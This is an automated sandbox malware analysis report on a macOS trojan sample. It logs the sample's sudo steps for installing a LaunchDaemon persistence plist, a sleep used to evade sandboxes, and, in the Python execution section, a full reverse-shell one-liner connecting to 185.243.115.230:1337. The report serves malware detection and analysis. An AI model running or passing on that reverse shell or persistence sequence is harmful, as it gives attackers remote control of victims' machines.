Analysis Report

Overview

General Information

Joe Sandbox Version:	23.0.0
Analysis ID:	56289
Start time:	07:35:59
Joe Sandbox Product:	Cloud
Start date:	03.07.2018
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	g70Ei8kMg7
Cookbook file name:	defaultmacfilecookbook.jbs
Analysis system description:	Mac Mini, High Sierra 10.13.2 (MS Office 16.9, Java 1.8.0_25)
Detection:	MAL
Classification:	mal60.troj.expl.mac@0/3@0/0

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	60	0 - 100	Report FP / FN

Classification

Signature Overview

Click to jump to signature section

Networking:

Detected TCP or UDP traffic on non-standard ports

Show sources

Source: global traffic

TCP traffic: 192.168.0.50:49275 -> 185.243.115.230:1337

Connects to IPs without corresponding DNS lookups

Show sources

Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.243.115.230

Reads from file descriptors related to (network) sockets

Show sources

Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 552)

Reads from socket in process: data

Jump to behavior

Urls found in memory or binary data

Show sources

Source: g70Ei8kMg7	String found in binary or memory: file://
Source: g70Ei8kMg7	String found in binary or memory: http://a
Source: g70Ei8kMg7	String found in binary or memory: http://code.google.com/p/closure-compiler/wiki/SourceMaps
Source: g70Ei8kMg7	String found in binary or memory: http://en.wikipedia.org/wiki/ANSI_escape_code#graphics
Source: g70Ei8kMg7	String found in binary or memory: http://invisible-island.net/ncurses/terminfo.ti.html#toc-_Specials
Source: g70Ei8kMg7	String found in binary or memory: http://invisible-island.net/xterm/ctlseqs/ctlseqs.html
Source: g70Ei8kMg7	String found in binary or memory: http://narwhaljs.org)
Source: g70Ei8kMg7	String found in binary or memory: http://src.chromium.org/viewvc/blink/trunk/Source/devtools/front_end/SourceMap.js
Source: g70Ei8kMg7	String found in binary or memory: http://stackoverflow.com/a/5501711/3561
Source: g70Ei8kMg7	String found in binary or memory: http://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F
Source: g70Ei8kMg7	String found in binary or memory: http://www.3waylabs.com/nw/WWW/products/wizcon/vt220.html
Source: g70Ei8kMg7	String found in binary or memory: http://www.ecma-international.org/ecma-262/5.1/#sec-15.1.3.4
Source: g70Ei8kMg7	String found in binary or memory: http://www.ecma-international.org/publications/standards/Ecma-262.htm)
Source: g70Ei8kMg7	String found in binary or memory: http://www.example.com
Source: g70Ei8kMg7	String found in binary or memory: http://www.iana.org/assignments/tls-extensiontype-values
Source: g70Ei8kMg7	String found in binary or memory: http://www.midnight-commander.org/browser/lib/tty/key.c
Source: g70Ei8kMg7	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: g70Ei8kMg7	String found in binary or memory: http://www.openssl.org/support/faq.htmlRAND_get_rand_methodRAND_init_fipsSSLEAY_RAND_BYTESdual
Source: g70Ei8kMg7	String found in binary or memory: http://www.squid-cache.org/Doc/config/half_closed_clients/
Source: g70Ei8kMg7	String found in binary or memory: http://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt
Source: g70Ei8kMg7	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=25916
Source: g70Ei8kMg7	String found in binary or memory: https://console.spec.whatwg.org
Source: g70Ei8kMg7	String found in binary or memory: https://console.spec.whatwg.org/#clear
Source: g70Ei8kMg7	String found in binary or memory: https://console.spec.whatwg.org/#count
Source: g70Ei8kMg7	String found in binary or memory: https://encoding.spec.whatwg.org
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/antirez/linenoise
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/chalk/ansi-regex/blob/master/index.js
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/joyent/node/issues/1707
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/joyent/node/issues/3295.
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/http2
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node-v0.x-archive/pull/7178
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/commit/f7620fb96d339f704932f9bb9a0dceb9952df2d4
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/issues/1264.
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/issues/13435
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/issues/2006
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/issues/2119
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/issues/3392
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/pull/11513
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/pull/12342
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/pull/13870#discussion_r124515293
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/pull/14389/files#r128522202
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/pull/1771#issuecomment-119351671
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/pull/3394
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/nodejs/node/wiki/Intl
Source: g70Ei8kMg7	String found in binary or memory: https://github.com/v8/v8/blob/d6ead37d265d7215cf9c5f768f279e21bd170212/src/js/prologue.js#L152-L156
Source: g70Ei8kMg7	String found in binary or memory: https://goo.gl/t5IS6M).
Source: g70Ei8kMg7	String found in binary or memory: https://heycam.github.io/webidl/#dfn-class-string
Source: g70Ei8kMg7	String found in binary or memory: https://heycam.github.io/webidl/#dfn-default-iterator-object
Source: g70Ei8kMg7	String found in binary or memory: https://heycam.github.io/webidl/#dfn-iterator-prototype-object
Source: g70Ei8kMg7	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable
Source: g70Ei8kMg7	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable-entries
Source: g70Ei8kMg7	String found in binary or memory: https://heycam.github.io/webidl/#es-iterators
Source: g70Ei8kMg7	String found in binary or memory: https://heycam.github.io/webidl/#es-operations
Source: g70Ei8kMg7	String found in binary or memory: https://heycam.github.io/webidl/#es-stringifier
Source: g70Ei8kMg7	String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#ascii-serialisation-of-an-origin
Source: g70Ei8kMg7	String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#concept-origin-opaque
Source: g70Ei8kMg7	String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding
Source: g70Ei8kMg7	String found in binary or memory: https://mxr.mozilla.org/mozilla/source/netwerk/protocol/http/src/nsHttpHeaderArray.cpp
Source: g70Ei8kMg7	String found in binary or memory: https://nodejs.org/
Source: g70Ei8kMg7	String found in binary or memory: https://nodejs.org/download/release/v9.2.1/node-v9.2.1-headers.tar.gz
Source: g70Ei8kMg7	String found in binary or memory: https://nodejs.org/download/release/v9.2.1/node-v9.2.1.tar.gz
Source: g70Ei8kMg7	String found in binary or memory: https://nodejs.org/download/release/v9.2.1/node-v9.2.1.tar.gzheadersUrlhttps://nodejs.org/download/r
Source: g70Ei8kMg7	String found in binary or memory: https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object
Source: g70Ei8kMg7	String found in binary or memory: https://tc39.github.io/ecma262/#sec-object.prototype.tostring
Source: g70Ei8kMg7	String found in binary or memory: https://tools.ietf.org/html/rfc3492#section-3.4
Source: g70Ei8kMg7	String found in binary or memory: https://tools.ietf.org/html/rfc3986#section-3.2.2
Source: g70Ei8kMg7	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.2
Source: g70Ei8kMg7	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.6
Source: g70Ei8kMg7	String found in binary or memory: https://tools.ietf.org/html/rfc7540#section-8.1.2.5
Source: g70Ei8kMg7	String found in binary or memory: https://url.spec.whatwg.org/#cannot-have-a-username-password-port
Source: g70Ei8kMg7	String found in binary or memory: https://url.spec.whatwg.org/#concept-url
Source: g70Ei8kMg7	String found in binary or memory: https://url.spec.whatwg.org/#concept-url-origin
Source: g70Ei8kMg7	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-byte-serializer
Source: g70Ei8kMg7	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-parser
Source: g70Ei8kMg7	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-serializer
Source: g70Ei8kMg7	String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams-stringification-behavior

Writes from file descriptors related to (network) sockets

Show sources

Source: /bin/ps (PID: 555)	Writes from socket in process: data	Jump to behavior
Source: /bin/ps (PID: 558)	Writes from socket in process: data	Jump to behavior
Source: /bin/ps (PID: 561)	Writes from socket in process: data	Jump to behavior
Source: /bin/ps (PID: 564)	Writes from socket in process: data	Jump to behavior
Source: /bin/ps (PID: 567)	Writes from socket in process: data	Jump to behavior
Source: /bin/ps (PID: 571)	Writes from socket in process: data	Jump to behavior

System Summary:

Classification label

Show sources

Source: classification engine

Classification label: mal60.troj.expl.mac@0/3@0/0

Persistence and Installation Behavior:

Executes the "sudo" command used to execute a command as another user

Show sources

Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 553)	Sudo executable: /usr/bin/sudo -> /usr/bin/sudo -S -p #node-sudo-passwd# chown root /tmp/script.sh	Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 556)	Sudo executable: /usr/bin/sudo -> /usr/bin/sudo -S -p #node-sudo-passwd# chmod +x /tmp/script.sh	Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 559)	Sudo executable: /usr/bin/sudo -> /usr/bin/sudo -S -p #node-sudo-passwd# mv /tmp/script.sh /var/root/	Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 562)	Sudo executable: /usr/bin/sudo -> /usr/bin/sudo -S -p #node-sudo-passwd# mv /tmp/com.startup.plist /Library/LaunchDaemons/	Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 565)	Sudo executable: /usr/bin/sudo -> /usr/bin/sudo -S -p #node-sudo-passwd# chown root /Library/LaunchDaemons/com.startup.plist	Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 568)	Sudo executable: /usr/bin/sudo -> /usr/bin/sudo -S -p #node-sudo-passwd# launchctl load -w /Library/LaunchDaemons/com.startup.plist	Jump to behavior

Executes commands using a shell command-line interpreter

Show sources

Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 555)	Shell command executed: /bin/sh -c ps -eo pid,comm	Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 558)	Shell command executed: /bin/sh -c ps -eo pid,comm	Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 561)	Shell command executed: /bin/sh -c ps -eo pid,comm	Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 564)	Shell command executed: /bin/sh -c ps -eo pid,comm	Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 567)	Shell command executed: /bin/sh -c ps -eo pid,comm	Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 571)	Shell command executed: /bin/sh -c ps -eo pid,comm	Jump to behavior

Executes the "chmod" command used to modify permissions

Show sources

Source: /usr/bin/sudo (PID: 557)

Chmod executable: /bin/chmod -> chmod +x /tmp/script.sh

Jump to behavior

Executes the "chown" command used to modify ownership and group ownership

Show sources

Source: /usr/bin/sudo (PID: 554)	Chown executable: /usr/sbin/chown -> chown root /tmp/script.sh			Jump to behavior
Source: /usr/bin/sudo (PID: 566)	Chown executable: /usr/sbin/chown -> chown root /Library/LaunchDaemons/com.startup.plist			Jump to behavior

Executes the "ps" command used to list the status of processes

Show sources

Source: /bin/sh (PID: 555)	Ps executable: /bin/ps -> ps -eo pid,comm	Jump to behavior
Source: /bin/sh (PID: 558)	Ps executable: /bin/ps -> ps -eo pid,comm	Jump to behavior
Source: /bin/sh (PID: 561)	Ps executable: /bin/ps -> ps -eo pid,comm	Jump to behavior
Source: /bin/sh (PID: 564)	Ps executable: /bin/ps -> ps -eo pid,comm	Jump to behavior
Source: /bin/sh (PID: 567)	Ps executable: /bin/ps -> ps -eo pid,comm	Jump to behavior
Source: /bin/sh (PID: 571)	Ps executable: /bin/ps -> ps -eo pid,comm	Jump to behavior

Executes the "python" command used to interpret Python scripts

Show sources

Source: /bin/bash (PID: 572)	Python executable: /usr/bin/python -> python -c import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('185.243.115.230',1337)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i'])			Jump to behavior
Source: /bin/bash (PID: 574)	Python executable: /usr/bin/python -> python -c import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('185.243.115.230',1337)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i'])			Jump to behavior

Explicitly loads/starts launch services

Show sources

Source: /usr/bin/sudo (PID: 569)

Launch agent/daemon loaded: launchctl load -w /Library/LaunchDaemons/com.startup.plist

Jump to behavior

Writes shell script files to disk

Show sources

Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 552)

Shell script file created: /private/tmp/script.sh

Jump to dropped file

Reads data from the local random generator

Show sources

Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 552)	Random device file read: /dev/urandom			Jump to behavior
Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 552)	Random device file read: /dev/urandom			Jump to behavior

Sample contains user paths that might be useful for attribution

Show sources

Source: initial sample	String containing user path: /Users/zeit/pkg-fetch/precompile/node/out/Release/obj/gen/src/inspector/protocol/Protocol.cpp
Source: initial sample	String containing user path: /Users/zeit/pkg-fetch/precompile/node/out/Release/obj/gen/node_javascript.cc

Uses the Python framework

Show sources

Source: /usr/bin/python (PID: 572)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python			Jump to behavior
Source: /usr/bin/python (PID: 574)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python			Jump to behavior

Writes property list (.plist) files to disk

Show sources

Source: /Users/henry/Desktop/g70Ei8kMg7 (PID: 552)

XML plist file created: /private/tmp/com.startup.plist

Jump to dropped file

Boot Survival:

Creates memory-persistent launch services

Show sources

Source: /bin/mv (PID: 563)

Launch agent/daemon created with KeepAlive and/or RunAtLoad, file moved: /tmp/com.startup.plist -> /Library/LaunchDaemons/com.startup.plist

Jump to behavior

Creates system-wide 'launchd' managed services aka launch daemons

Show sources

Source: /bin/mv (PID: 563)

Launch daemon created file moved: /tmp/com.startup.plist -> /Library/LaunchDaemons/com.startup.plist

Jump to behavior

Malware Analysis System Evasion:

Executes the "sleep" command used to delay execution and potentially evade sandboxes

Show sources

Source: /bin/bash (PID: 573)

Sleep executable: /bin/sleep -> sleep 5

Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Show sources

Source: g70Ei8kMg7

Binary or memory string: lgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmcIGfE

Language, Device and Operating System Detection:

Reads process information of other processes

Show sources

Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.552 -> queries PID 552	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.549 -> queries PID 549	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.547 -> queries PID 547	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.543 -> queries PID 543	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.541 -> queries PID 541	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.540 -> queries PID 540	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.515 -> queries PID 515	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.513 -> queries PID 513	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.512 -> queries PID 512	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.510 -> queries PID 510	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.509 -> queries PID 509	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.473 -> queries PID 473	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.465 -> queries PID 465	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.456 -> queries PID 456	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.430 -> queries PID 430	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.429 -> queries PID 429	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.428 -> queries PID 428	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.427 -> queries PID 427	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.426 -> queries PID 426	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.425 -> queries PID 425	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.424 -> queries PID 424	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.419 -> queries PID 419	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.418 -> queries PID 418	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.414 -> queries PID 414	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.402 -> queries PID 402	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.399 -> queries PID 399	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.398 -> queries PID 398	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.397 -> queries PID 397	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.396 -> queries PID 396	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.395 -> queries PID 395	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.393 -> queries PID 393	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.392 -> queries PID 392	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.391 -> queries PID 391	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.388 -> queries PID 388	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.384 -> queries PID 384	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.383 -> queries PID 383	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.382 -> queries PID 382	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.381 -> queries PID 381	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.378 -> queries PID 378	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.377 -> queries PID 377	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.375 -> queries PID 375	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.373 -> queries PID 373	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.372 -> queries PID 372	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.371 -> queries PID 371	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.370 -> queries PID 370	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.366 -> queries PID 366	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.365 -> queries PID 365	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.364 -> queries PID 364	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.363 -> queries PID 363	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.362 -> queries PID 362	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.359 -> queries PID 359	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.357 -> queries PID 357	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.356 -> queries PID 356	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.355 -> queries PID 355	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.354 -> queries PID 354	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.353 -> queries PID 353	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.351 -> queries PID 351	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.350 -> queries PID 350	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.349 -> queries PID 349	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.347 -> queries PID 347	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.346 -> queries PID 346	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.345 -> queries PID 345	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.343 -> queries PID 343	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.342 -> queries PID 342	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.341 -> queries PID 341	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.340 -> queries PID 340	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.337 -> queries PID 337	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.336 -> queries PID 336	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.335 -> queries PID 335	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.327 -> queries PID 327	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.326 -> queries PID 326	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.325 -> queries PID 325	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.324 -> queries PID 324	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.323 -> queries PID 323	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.322 -> queries PID 322	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.321 -> queries PID 321	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.320 -> queries PID 320	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.319 -> queries PID 319	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.318 -> queries PID 318	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.317 -> queries PID 317	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.316 -> queries PID 316	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.315 -> queries PID 315	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.313 -> queries PID 313	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.311 -> queries PID 311	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.309 -> queries PID 309	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.308 -> queries PID 308	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.307 -> queries PID 307	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.306 -> queries PID 306	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.305 -> queries PID 305	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.304 -> queries PID 304	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.303 -> queries PID 303	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.301 -> queries PID 301	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.300 -> queries PID 300	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.299 -> queries PID 299	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.298 -> queries PID 298	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.296 -> queries PID 296	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.295 -> queries PID 295	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.294 -> queries PID 294	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.291 -> queries PID 291	Jump to behavior
Source: /bin/ps (PID: 555)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.287 -> queries PID 287	Jump to behavior
